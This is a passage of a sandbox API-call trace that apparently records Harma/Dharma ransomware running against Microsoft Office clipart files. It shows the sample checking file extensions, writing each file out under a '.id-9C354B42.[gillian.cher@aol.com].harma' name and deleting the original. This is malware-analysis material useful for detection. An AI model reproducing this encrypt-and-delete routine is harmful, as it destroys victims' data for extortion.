[0154.687] lstrlenW (lpString=".doc") returned 4 [0154.687] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.687] lstrlenW (lpString=".docx") returned 5 [0154.688] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.688] lstrlenW (lpString=".pdf") returned 4 [0154.688] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.688] lstrlenW (lpString=".xls") returned 4 [0154.688] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.688] lstrlenW (lpString=".xlsx") returned 5 [0154.688] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.688] lstrlenW (lpString=".ppt") returned 4 [0154.688] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0154.688] lstrlenW (lpString=".zip") returned 4 [0154.688] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.688] lstrlenW (lpString=".rar") returned 4 [0154.688] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.688] lstrlenW (lpString=".bz2") returned 4 [0154.688] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.688] lstrlenW (lpString=".7z") returned 3 [0154.688] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0154.689] lstrlenW (lpString=".dbf") returned 4 [0154.689] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0154.689] lstrlenW (lpString=".1cd") returned 4 [0154.689] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0154.689] lstrlenW (lpString=".jpg") returned 4 [0154.689] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.689] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0154.689] lstrlenW (lpString="FD00419_.WMF") returned 12 [0154.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0154.690] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=16396) returned 1 [0154.690] CloseHandle (hObject=0x360) returned 1 [0154.690] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf")) returned 0x20 [0154.690] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0154.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0154.690] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.690] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0154.691] GetLastError () returned 0x0 [0154.691] ReadFile (in: hFile=0x360, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x400c, lpOverlapped=0x0) returned 1 [0154.761] WriteFile (in: hFile=0x364, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x4010, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x4010, lpOverlapped=0x0) returned 1 [0154.762] ReadFile (in: hFile=0x360, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0154.762] WriteFile (in: hFile=0x364, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0154.762] SetEndOfFile (hFile=0x364) returned 1 [0154.762] CloseHandle (hObject=0x364) returned 1 [0154.763] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.763] SetEndOfFile (hFile=0x360) returned 1 [0154.765] CloseHandle (hObject=0x360) returned 1 [0154.765] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0154.765] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf")) returned 1 [0154.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0154.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0154.766] lstrlenW (lpString=".doc") returned 4 [0154.766] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.766] lstrlenW (lpString=".docx") returned 5 [0154.766] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.766] lstrlenW (lpString=".pdf") returned 4 [0154.766] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.766] lstrlenW (lpString=".xls") returned 4 [0154.766] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.767] lstrlenW (lpString=".xlsx") returned 5 [0154.767] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.767] lstrlenW (lpString=".ppt") returned 4 [0154.767] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0154.767] lstrlenW (lpString=".zip") returned 4 [0154.767] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.767] lstrlenW (lpString=".rar") returned 4 [0154.767] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.767] lstrlenW (lpString=".bz2") returned 4 [0154.767] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.767] lstrlenW (lpString=".7z") returned 3 [0154.767] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0154.767] lstrlenW (lpString=".dbf") returned 4 [0154.767] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0154.767] lstrlenW (lpString=".1cd") returned 4 [0154.767] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0154.768] lstrlenW (lpString=".jpg") returned 4 [0154.768] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0154.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0154.768] lstrlenW (lpString=".doc") returned 4 [0154.768] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.768] lstrlenW (lpString=".docx") returned 5 [0154.768] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.768] lstrlenW (lpString=".pdf") returned 4 [0154.768] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.768] lstrlenW (lpString=".xls") returned 4 [0154.768] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.768] lstrlenW (lpString=".xlsx") returned 5 [0154.768] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.768] lstrlenW (lpString=".ppt") returned 4 [0154.768] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0154.768] lstrlenW (lpString=".zip") returned 4 [0154.768] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.768] lstrlenW (lpString=".rar") returned 4 [0154.768] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.768] lstrlenW (lpString=".bz2") returned 4 [0154.768] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.768] lstrlenW (lpString=".7z") returned 3 [0154.768] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0154.768] lstrlenW (lpString=".dbf") returned 4 [0154.768] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0154.769] lstrlenW (lpString=".1cd") returned 4 [0154.769] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0154.769] lstrlenW (lpString=".jpg") returned 4 [0154.769] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.769] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0154.769] lstrlenW (lpString="FD00455_.WMF") returned 12 [0154.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0154.769] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=8926) returned 1 [0154.770] CloseHandle (hObject=0x360) returned 1 [0154.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf")) returned 0x20 [0154.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0154.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0154.770] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.770] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0154.771] GetLastError () returned 0x0 [0154.771] ReadFile (in: hFile=0x360, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x22de, lpOverlapped=0x0) returned 1 [0154.924] WriteFile (in: hFile=0x364, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x22e0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x22e0, lpOverlapped=0x0) returned 1 [0154.925] ReadFile (in: hFile=0x360, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0154.926] WriteFile (in: hFile=0x364, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0154.926] SetEndOfFile (hFile=0x364) returned 1 [0154.928] CloseHandle (hObject=0x364) returned 1 [0154.928] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.928] SetEndOfFile (hFile=0x360) returned 1 [0154.930] CloseHandle (hObject=0x360) returned 1 [0154.930] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0154.931] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf")) returned 1 [0154.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0154.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0154.931] lstrlenW (lpString=".doc") returned 4 [0154.931] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.931] lstrlenW (lpString=".docx") returned 5 [0154.931] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.931] lstrlenW (lpString=".pdf") returned 4 [0154.932] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.932] lstrlenW (lpString=".xls") returned 4 [0154.932] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.932] lstrlenW (lpString=".xlsx") returned 5 [0154.932] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.932] lstrlenW (lpString=".ppt") returned 4 [0154.932] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0154.932] lstrlenW (lpString=".zip") returned 4 [0154.932] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.932] lstrlenW (lpString=".rar") returned 4 [0154.932] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.932] lstrlenW (lpString=".bz2") returned 4 [0154.932] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.932] lstrlenW (lpString=".7z") returned 3 [0154.932] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0154.932] lstrlenW (lpString=".dbf") returned 4 [0154.932] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0154.932] lstrlenW (lpString=".1cd") returned 4 [0154.932] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0154.932] lstrlenW (lpString=".jpg") returned 4 [0154.932] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0154.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0154.932] lstrlenW (lpString=".doc") returned 4 [0154.932] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.932] lstrlenW (lpString=".docx") returned 5 [0154.933] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.933] lstrlenW (lpString=".pdf") returned 4 [0154.933] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.933] lstrlenW (lpString=".xls") returned 4 [0154.933] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.933] lstrlenW (lpString=".xlsx") returned 5 [0154.933] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.933] lstrlenW (lpString=".ppt") returned 4 [0154.933] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0154.933] lstrlenW (lpString=".zip") returned 4 [0154.933] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.933] lstrlenW (lpString=".rar") returned 4 [0154.933] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.933] lstrlenW (lpString=".bz2") returned 4 [0154.933] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.933] lstrlenW (lpString=".7z") returned 3 [0154.933] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0154.933] lstrlenW (lpString=".dbf") returned 4 [0154.933] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0154.933] lstrlenW (lpString=".1cd") returned 4 [0154.933] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0154.933] lstrlenW (lpString=".jpg") returned 4 [0154.933] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.934] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0154.934] lstrlenW (lpString="FD00543_.WMF") returned 12 [0154.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0154.934] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=1472) returned 1 [0154.934] CloseHandle (hObject=0x360) returned 1 [0154.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf")) returned 0x20 [0154.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0154.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0154.935] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.935] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0154.935] GetLastError () returned 0x0 [0154.935] ReadFile (in: hFile=0x360, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x5c0, lpOverlapped=0x0) returned 1 [0154.966] WriteFile (in: hFile=0x364, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x5d0, lpOverlapped=0x0) returned 1 [0154.967] ReadFile (in: hFile=0x360, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0154.967] WriteFile (in: hFile=0x364, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0154.967] SetEndOfFile (hFile=0x364) returned 1 [0154.967] CloseHandle (hObject=0x364) returned 1 [0154.967] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.967] SetEndOfFile (hFile=0x360) returned 1 [0154.969] CloseHandle (hObject=0x360) returned 1 [0154.969] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0155.002] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf")) returned 1 [0155.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0155.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0155.003] lstrlenW (lpString=".doc") returned 4 [0155.003] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.003] lstrlenW (lpString=".docx") returned 5 [0155.003] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.003] lstrlenW (lpString=".pdf") returned 4 [0155.003] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.003] lstrlenW (lpString=".xls") returned 4 [0155.003] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.003] lstrlenW (lpString=".xlsx") returned 5 [0155.003] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.003] lstrlenW (lpString=".ppt") returned 4 [0155.003] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0155.003] lstrlenW (lpString=".zip") returned 4 [0155.003] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.003] lstrlenW (lpString=".rar") returned 4 [0155.003] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.003] lstrlenW (lpString=".bz2") returned 4 [0155.003] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.003] lstrlenW (lpString=".7z") returned 3 [0155.003] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0155.003] lstrlenW (lpString=".dbf") returned 4 [0155.004] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0155.004] lstrlenW (lpString=".1cd") returned 4 [0155.004] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0155.004] lstrlenW (lpString=".jpg") returned 4 [0155.004] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0155.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0155.004] lstrlenW (lpString=".doc") returned 4 [0155.004] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.004] lstrlenW (lpString=".docx") returned 5 [0155.004] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.004] lstrlenW (lpString=".pdf") returned 4 [0155.004] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.004] lstrlenW (lpString=".xls") returned 4 [0155.004] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.004] lstrlenW (lpString=".xlsx") returned 5 [0155.004] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.004] lstrlenW (lpString=".ppt") returned 4 [0155.004] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.004] lstrlenW (lpString="C:\\Program Files\\Microsoft 